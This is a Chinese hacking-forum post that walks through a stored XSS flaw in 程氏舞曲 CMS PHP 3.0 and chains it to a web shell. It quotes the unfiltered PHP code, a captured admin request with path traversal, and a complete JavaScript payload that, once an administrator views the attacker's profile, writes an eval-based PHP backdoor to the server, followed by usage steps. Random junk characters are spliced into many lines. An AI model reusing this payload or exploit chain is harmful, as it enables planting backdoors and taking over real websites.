找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2649|回复: 0
打印 上一主题 下一主题

程氏舞曲CMSPHP3.0 储存型xss getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-6 18:09:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题/ A! j3 s* |- {, k. {
官网已经修补了,所以重新下了源码
: h8 k2 o! J5 |; ]1 Y因为 后台登入 还需要认证码 所以 注入就没看了。
" B: H( i: P( O- v& C# a; t存在 xss
: C% \; F  L2 G! E6 I漏洞文件 user/member/skin_edit.php. U& a" e6 g# k7 \; [
本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:
$ R+ r  }$ P9 Q6 [5 j/ t0 ?  
( F  ]5 U  _  h/ F</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>
6 h# Y* u0 [4 b! w# ]) r  
, F& R! x6 N$ d7 m</textarea></td></tr>
2 K! _: D  a7 }* [  6 k6 I; v" o+ Q2 v2 C' q4 Q$ h% \9 H
             user/do.php 3 z$ e5 l* D5 s8 ?5 T8 r
' ^% M. {$ w# D0 R. c0 H

5 r, V. P# b# l  `/ hif($op=='zl'){ //资料
  {6 H; l& {0 x; @8 L  7 w0 L/ s  m/ u9 g: X- c! W
             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) 4 n4 H( s5 L2 N! w, ~
             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));1 {- [, f( q, p0 V( K6 D& S
  
9 \* @' h7 m5 k. h4 h  M             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',
3 V5 M; c. p, L  7 C0 u; h+ y* |# e4 _
             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'/ Q4 }4 F" f- p( j/ B& J4 }
             where CS_Name='".$cscms_name."'";9 C, _- }9 m1 h9 E( f* v
  
) M& z4 b1 A  Y5 {2 L$ y             if($db->query($sql)){- A; q9 R" |, h6 @3 L
  & n/ x  o% ~. h+ ]2 \" Z
              exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));
. A( q& p; ?3 Y8 i  % g9 s# S" q: G5 P2 t
             }else{
/ y7 d0 N( {% ^2 o# N# S  ) {3 S. e" L4 c- z: l4 z
              exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));
& Z* d5 ^- A: d- i  ]  
. H$ a% r% h, J; O4 p* C  x( P             }2 B9 `0 q: j* w4 r* x+ d

6 F. s0 I0 ?. |* `* G' f3 Z; f0 s. U5 \
没有 过滤导致xss产生。
' @9 b! K3 Z0 g! N- h0 r+ I后台 看了下 很奇葩的是可以写任意格式文件。。3 P; k# n! P$ c0 j
抓包。。/ h5 }1 Y* ~4 J

8 _0 b" g2 }1 O5 `
- j2 x1 z8 o) ]% a! [# |6 h8 C7 C( h5 n本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.17 v; b3 W: f' [5 L+ e2 @
  & W: g+ |1 r: u) ]
Accept: text/html, application/xhtml+xml, */*
" C+ k: N& H" B  ' R5 w  S7 N' _7 P
Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php
' l" o. a5 N, t5 e; V) `; t: X9 W  3 W# i( N8 J+ B
Accept-Language: zh-CN
$ @$ W) Q2 g: S# \' n5 I  
% g! s0 z0 A! i9 R) e- eUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
/ x, q6 M7 p2 L' n2 _" c  9 g) }& x+ D, |# U4 D* [
Content-Type: application/x-www-form-urlencoded
* n: w/ I  |) W; Y/ o) O7 }  % ?1 p5 e6 O' B9 g$ F& H$ |! @5 ]
Accept-Encoding: gzip, deflate6 j% x. H# v' Q! h7 C0 v) c6 `& k' s! O
  1 ?* c0 I. [0 C/ O2 w: S8 I
Host: 127.0.0.1
3 Y% z0 V4 b+ t  T8 @  ; G) w+ P- E+ V! x  A
Content-Length: 385 o- F# t' j1 u
  4 C) u# A  g9 }/ `$ i" I* G4 K
DNT: 17 f+ D, c8 J0 U$ |
  9 y4 |% U3 V9 F* G4 Z' ?" a8 q
Connection: Keep-Alive
2 y7 c: J7 O2 d  c& W  
- H) p# P# E; u& ~- XCache-Control: no-cache
( K; K4 m1 `, O6 w) Z& ~' \  1 T5 g6 w. s1 d3 q& q+ A
Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f655945 A/ t) O' z3 K8 @
  
; D$ c6 c( z3 k0 s" M% Q; f$ ~
* {) h% b$ l+ {& L! {name=aaa.php&content=%3Cs%3E%3Ca%25%3E
& n0 E: o6 e# `; a4 \. m
2 [; A+ p' N& u
# r; c3 _  M0 Y) J# [9 n2 t# x) g& f; h, e8 e  Q
于是 构造js如下。- D! U4 A3 y6 z5 O& B- k1 X( c

% T. T" \. q! W" W% O3 \6 _1 ]本帖隐藏的内容<script>
# }' y. s7 T0 D2 EthisTHost = top.location.hostname;, |' T2 B% w# L; F6 s
  - h( q6 R' k" c3 i. w
thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";/ v$ ]* h6 B- h4 T
  - y/ G, T$ e9 n6 \) z/ {
function PostSubmit(url, data, msg) { ( c* Z# R% B9 \+ e1 r4 ]; j, C7 D4 b
    var postUrl = url;
' @% u2 P! ~0 y6 |' Q: H  
; W8 o; w4 m% U* p0 L    var postData = data; & O' m. n3 H1 C
    var msgData = msg; 2 q  f' W# H( b9 E9 v/ e
    var ExportForm = document.createElement("FORM"); - V0 @/ Q! k% _: Y5 ^: j
    document.body.appendChild(ExportForm); 6 V9 s* l' ?* |0 N6 ?
    ExportForm.method = "POST"; ; F8 H- L% T# r4 k5 Q. L% I4 Y
    var newElement = document.createElement("input"); 8 I+ W) k- t: E( y0 W! I  a
    newElement.setAttribute("name", "name"); ( K7 r* I6 c+ A3 \! v
    newElement.setAttribute("type", "hidden"); 4 E- Z* M$ ?, p2 A
    var newElement2 = document.createElement("input");
$ ]5 s7 w. B. b& a4 z6 y/ u    newElement2.setAttribute("name", "content"); 5 y. c; K& M0 K" p- G
    newElement2.setAttribute("type", "hidden"); & j7 Y+ x- j2 y
    ExportForm.appendChild(newElement);
9 _: u% T! U4 u/ {    ExportForm.appendChild(newElement2);
4 {/ A+ T8 k1 P: l& r4 z    newElement.value = postData;
' y/ A/ g5 y9 C( D! ?2 `    newElement2.value = msgData; $ M5 e" t& K, R/ n6 ^, W
    ExportForm.action = postUrl;
! {0 n0 x. S) m  R! v    ExportForm.submit(); ! B* ]. Y' E( n4 _
};
. ]0 L1 R/ }% o! }# ^- W5 ]! [( n* E  7 \3 y5 v$ [1 O2 R6 @& S# g
PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");
2 h& o+ \' q: X% M) t  
: m4 ~3 y9 I# r</script>
8 L) l9 H" [# S. I5 J$ \0 q  F: c, m# V. ~

  C: [7 E9 ^2 b, s! K
4 ^; E. m" r8 n4 Y* ?: Zhttp://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入
0 i; o! ~, ]: I+ {用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2(uid自己改)4 g1 b$ h9 j" q% k" }
就会 在 skins\index\html\目录下生成 roker.php 一句话。

# }+ W% a. U: D3 A( J" }4 I  o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表